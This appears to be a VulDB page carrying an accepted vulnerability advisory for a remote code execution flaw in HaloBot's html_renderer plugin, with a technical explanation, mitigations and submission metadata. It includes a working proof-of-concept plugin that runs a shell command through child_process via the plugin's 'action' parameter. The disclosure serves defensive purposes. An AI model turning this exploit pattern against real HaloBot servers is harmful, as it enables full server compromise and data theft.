제출 #705587: SamuNatsu HaloBot 1.0 Improper Control of Dynamically-Managed Code Resources

# Remote Code Execution in HaloBot via Insecure Function Call in `html_renderer` Plugin

## 1. Vulnerability Information
* **Affected Software**: HaloBot
* **Affected Version**: Latest version on the `master` branch (as of the discovery date)
* **Affected Component**: `html_renderer` plugin (`plugins/html_renderer/index.js`)
* **Vulnerability Type**: CWE-913: Improper Control of Dynamically-Managed Code Resources
* **Discovered By**: SOCTeam AI
* **Code**:https://github.com/SamuNatsu/HaloBot

## 2. Vulnerability Description

The `html_renderer` core plugin in HaloBot provides a `render` method for rendering HTML or URLs into images. This method can be invoked by other plugins through the `api.callPluginMethod` inter-plugin API.

The `render` method accepts an `action` parameter, which can be a JavaScript function. The `html_renderer` plugin executes this function within the context of a Puppeteer browser page. Because the Puppeteer execution environment has access to Node.js core modules (such as `child_process`), any plugin that can call this method can pass a maliciously crafted `action` function to execute arbitrary system commands on the server running HaloBot, with the privileges of the bot's process.

This vulnerability breaks the security sandbox between plugins, allowing a low-privileged, seemingly harmless plugin to gain full control over the server.

## 3. Technical Details

The vulnerability originates in the `renderWorker` function within `plugins/html_renderer/index.js`. This function checks if an `action` property exists on the incoming `task` object. If it does, the function is executed directly on the Puppeteer page instance.

```javascript
// file: plugins/html_renderer/index.js (Simplified)
async function renderWorker(task) {
// ... (Page navigation, etc.)

if (task.action) {
logger.info('Executing additional action');
await task.action(page); // <--- Vulnerability Trigger: The provided function is executed directly.
}

// ... (Screenshot and return)
}
```

An attacker can write a plugin that calls the `rainiar.html_renderer.render` method and provides a malicious `action` function.

## 4. Proof of Concept (PoC)

The following PoC plugin (`poc_exploit`) demonstrates the vulnerability by calling the `render` method with a malicious `action` function. This function uses a dynamic `import()` to load the Node.js `child_process` module and executes the `touch RCE_SUCCESSFUL` command, creating a file in the HaloBot project's root directory.

**PoC Plugin (`plugins/poc_exploit/index.js`):**
```javascript
import { definePlugin } from '../../HaloBotPlugin.js';

// Malicious action function
const maliciousAction = async (puppeteerPage) => {
try {
const { execSync } = await import('child_process');
execSync('touch RCE_SUCCESSFUL'); // Execute a system command
console.log('RCE POC: Successfully executed malicious action.');
} catch (e) {
console.error('RCE POC: Failed to execute malicious action.', e);
}
};

export default definePlugin({
// ... (Plugin metadata)

async handleMessage(ev) {
if (ev.raw_message === '#exploit rce') {
this.api.reply(ev, '[POC] Attempting RCE attack...');
try {
await this.api.callPluginMethod('rainiar.html_renderer', 'render', {
type: 'text',
target: 'hello', // Render content is not important
action: maliciousAction, // Pass the malicious function
});
this.api.reply(ev, 'RCE command sent.');
} catch (e) {
this.api.reply(ev, `RCE failed: ${e.message}`);
}
}
}
});
```

**Replication Steps:**
1. Install and enable the `html_renderer` plugin and the `poc_exploit` plugin above.
2. Send a message to the bot: `#exploit rce`.
3. Check the root directory of the HaloBot project. A new file named `RCE_SUCCESSFUL` will be present, proving that arbitrary code was executed.

<img width="790" height="717" alt="Image" src="https://github.com/user-attachments/assets/e6b83492-3384-4874-b377-031d31cf64f2" />

## 5. Impact

An attacker who successfully exploits this vulnerability can execute arbitrary commands on the server hosting HaloBot with the permissions of the user running the Node.js process. This could lead to:
* Complete server compromise.
* Exfiltration of sensitive data.
* The server being used as part of a botnet for further attacks.

## 6. Mitigation
It is strongly recommended to take the following actions immediately to remediate this vulnerability:

1. **Remove the `action` Parameter**: Completely remove the handling of the `action` parameter from the `render` method in the `html_renderer` plugin. This is the most direct and effective fix. A plugin should never be allowed to execute an arbitrary function provided by another plugin.
2. **Input Validation**: Implement strict type and content validation for all parameters passed through the plugin API.
3. **Code Audit**: Conduct a comprehensive security audit of all inter-plugin APIs to identify and remove other similar insecure design patterns.

• 원천: ⚠️ https://github.com/rassec2/dbcve/issues/20
• 사용자: qiushui (UID 93022)
• 제출: 2025. 12. 03. AM 07:00 (5 개월 ago)
• 모더레이션: 2025. 12. 14. PM 01:14 (11 days later)
• 상태: 수락
• VulDB 항목: 336413 [SamuNatsu HaloBot 까지 026b01d4a896d93eaaf9d5163a287dc9f267515b Inter-plugin API index.js html_renderer action 권한 상승]
• 포인트들: 20